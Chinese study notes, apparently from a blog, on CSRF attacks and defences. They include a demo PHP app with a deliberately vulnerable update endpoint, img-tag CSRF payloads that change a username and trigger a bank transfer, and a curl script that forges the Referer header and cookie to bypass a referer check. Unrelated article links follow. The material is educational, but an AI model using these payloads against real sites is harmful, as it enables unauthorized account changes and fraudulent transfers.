原理 

登录受信任网站A,并在本地生成Cookie。
在不登出A的情况下,访问危险网站B。

 #csrfdemo.php
<?php
$data = json_decode(file_get_contents('data.json'), true); if($data['username']) { setcookie('uid', $data['id'], 0); echo "登录成功, {$data['username']}<br>"; }
6  ?>
7  <a href = "Update.php?uid=101&username=json"> 更新用户名 </a>
#CSRFUpdate.php   //exp
<?php
echo 'Change Username';
?>
<img src="../Update.php?uid=101&username=jsonp">

  

Update.php
<?php $str = file_get_contents('data.json');
$data = json_decode($str, true); empty($_COOKIE['uid']) || empty($_GET['uid']) || $_GET['uid'] != $data['id'] ? die('非法用户') : '';
$data['username'] = empty($_GET['username']) ? die('用户名不能为空') : $_GET['username'];
$data['username'] = $_GET['username'];
if(file_put_contents('data.json', json_encode($data))) {
echo "用户名已更改为{$data['username']}<br>";
} else {
die('更新失败');
} ?> 
#data.json
{"id":"101","username":"jsonp"}

Login CSRF 

登录界面CSRF - 无 Token(有Reffer和Session构造失败)

验证

Burpsuite生成POC

利用

伪造发送邮件/发消息/盗取账号/购买商品/虚拟货币转账/修改用户资料/传播恶意文件

转账

GET请求来完成转账操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000
网站B,它里面有一段HTML的代码如下:
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
-》受害者点击
#新消息提醒的绑定邮箱CSRF未做过滤或者过滤不严,email验证链接存在逻辑问题。
结合这两点,可导致用户的私信、新评论、系统消息提醒等发送至攻击者邮箱

CSRF - 上传文件 

防御

静态语言

使用Hash加密cookie中csrf_token值

动态语言

使用Synchronizer Tokens
在表单里隐藏一个随机变化的 csrf_token csrf_token 提交到后台进行验证,如果验证通过则可以继续执行操作

Referer字段(同源)

 #Update.php
<?php
if(!empty($_SERVER['HTTP_REFERER'])) {
if(parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST) != 'csrfdemo.php') {
echo "非法请求";
exit();
}
}
$str = file_get_contents('data.json');
$data = json_decode($str, true); empty($_COOKIE['uid']) || empty($_GET['uid']) || $_GET['uid'] != $data['id'] ? die('非法用户') : '';
$data['username'] = empty($_GET['username']) ? die('用户名不能为空') : $_GET['username'];
$data['username'] = $_GET['username'];
if(file_put_contents('data.json', json_encode($data))) {
echo "用户名已更改为{$data['username']}<br>";
} else {
die('更新失败');
} ?>

Referer字段(同源)-绕过

//curl构造Referer头
<?php
function curl_post($url){
$refer = 'csrfdemo.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_REFERER, $refer);
curl_setopt($ch, CURLOPT_COOKIE, 'uid=101');
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
// echo 'Change Username';
var_dump(curl_post("../Update.php?uid=101&username=jsonp445"));
?>
<img src="../Update.php?uid=101&username=jsonp445">

通过csrf_token csrf_token 进行验证(session+token)

绕过:session劫持+token劫持

 使用CORS

应用安全-Web安全-CSRF攻防整理的更多相关文章

  1. .NET Web开发技术简单整理

    在最初学习一些编程语言.一些编程技术的时候,做的更多的是如何使用该技术,如何更好的使用该技术解决问题,而没有去关注它的相关性.关注它的理论支持,这种学习技术的方式是短平快.其实工作中有时候也是这样,公 ...

  2. 转载:.NET Web开发技术简单整理

    在最初学习一些编程语言.一些编程技术的时候,做的更多的是如何使用该技术,如何更好的使用该技术解决问题,而没有去关注它的相关性.关注它的理论支持,这种学习技术的方式是短平快.其实工作中有时候也是这样,公 ...

  3. Web API CSRF保护实现

    Web API CSRF保护实现 这次自己实现了类似jQuery中ajax调用的方法,并且针对RESTFul进行了改造和集成,实现的A2D AJAX接口如下: $.ajax.RESTFulGetCol ...

  4. .NET Web开发技术简单整理 转

    .NET Web开发技术简单整理 原文:http://www.cnblogs.com/SanMaoSpace/p/3157293.html 在最初学习一些编程语言.一些编程技术的时候,做的更多的是如何 ...

  5. web安全问题-csrf

    web安全问题 csrf <script> document.write(` <form name="commentForm" target="csrf ...

  6. Web安全之CSRF漏洞整理总结

    这两天整理和编写了csrf的靶场,顺便也复习了以前学习csrf的点,这里记录下学习的总结点. 0x01 关于CSRF 跨站请求伪造 CSRF(Cross-site request forgery)跨站 ...

  7. 应用安全-Web安全-XSS(跨站攻击)攻防整理

    分类 反射型 存储型 DOM型 XSF(Flash XSS) PDFXSS MHTML协议跨站(MHTML,data) 字符编码(UTF-7 XSS) 富文本编辑器测试 - 输入框 <img S ...

  8. 移动端 Web 开发前端知识整理

    文章来源: http://www.restran.net/2015/05/14/mobile-web-front-end-collections/ 最近整理的移动端 Web 开发前端知识,不定期更新. ...

  9. 【web前端面试题整理06】成都第一弹,邂逅聚美优品

    前言 上周四回了成都,休息了一下下,工作问题还是需要解决的,于是今天去面试了一下,现在面试回来了,我感觉还是可以整理一下心得. 这个面试题整理系列是为了以后前端方面的兄弟面试时候可以得到一点点帮助,因 ...

随机推荐

  1. tortoise svn回滚常用命令

    一.revert to this version 和 revert changes from this version的区别 假设SVN已有版本4814-4854:1.基于4837版本执行[rever ...

  2. [转]走近0day

    首先,需要大家端正一下学习态度-也就是对于破解的态度.每一个有一定修为的软件破解者,也就是CRACKER,都很清楚,我们破解掉软件的序列号,功能限制,时间限制等等东西都不是最终的目的,一个真正的CRA ...

  3. JS深度比较两个对象是否相等

    /** * 深度比较两个对象是否相等 * @type {{compare: compareObj.compare, isObject: (function(*=): boolean), isArray ...

  4. set -xv

    1.set -x 或set xtrace 会显示+以及脚本中的内容(执行的部分,没执行的不显示) set -xv(脚本中所有的内容都显示,包括没执行的部分) 2.debug=3   //多层级调试 t ...

  5. 全文索引:部分词能查到,部分词查不到的bug

    全文索引的概念:将存储在数据库中的整本书或整篇文章中的任意内容信息查找出来的技术.它可以根据需要获取全文中有关章,节,段,句,词等信息,也可以进行各种统计和分析. 原理是先定义一个词库,然后在文章中查 ...

  6. Azure IoT 技术研究系列4

    上两篇博文中,我们介绍了将设备注册到Azure IoT Hub,设备到云.云到设备之间的通信: Azure IoT 技术研究系列2-设备注册到Azure IoT Hub Azure IoT 技术研究系 ...

  7. 【JavaScript】DOM之BOM

    BOM 1.BOM是什么 提供了独立页面内容,与浏览器相关的一系列对象,管理窗口之间通信 2.Window对象 具有双重角色,对象即是允许JS访问浏览器窗口的一个对象,和ECMAScript规范中的G ...

  8. os模块、sys模块、json模块、pickle模块、logging模块

    目录 os模块 sys模块 json模块 pickle模块 logging模块 os模块 功能:与操作系统交互,可以操作文件 一.对文件操作 判断是否为文件 os.path.isfile(r'路径') ...

  9. elementui多个文件上传问题

    我认为绑定一个值 然后把值改变不同的名字即可

  10. jquery 父,子,兄弟节点获取

    jquery 父,子,兄弟节点获取 jQuery.parent(expr)           //找父元素 jQuery.parents(expr)          //找到所有祖先元素,不限于父 ...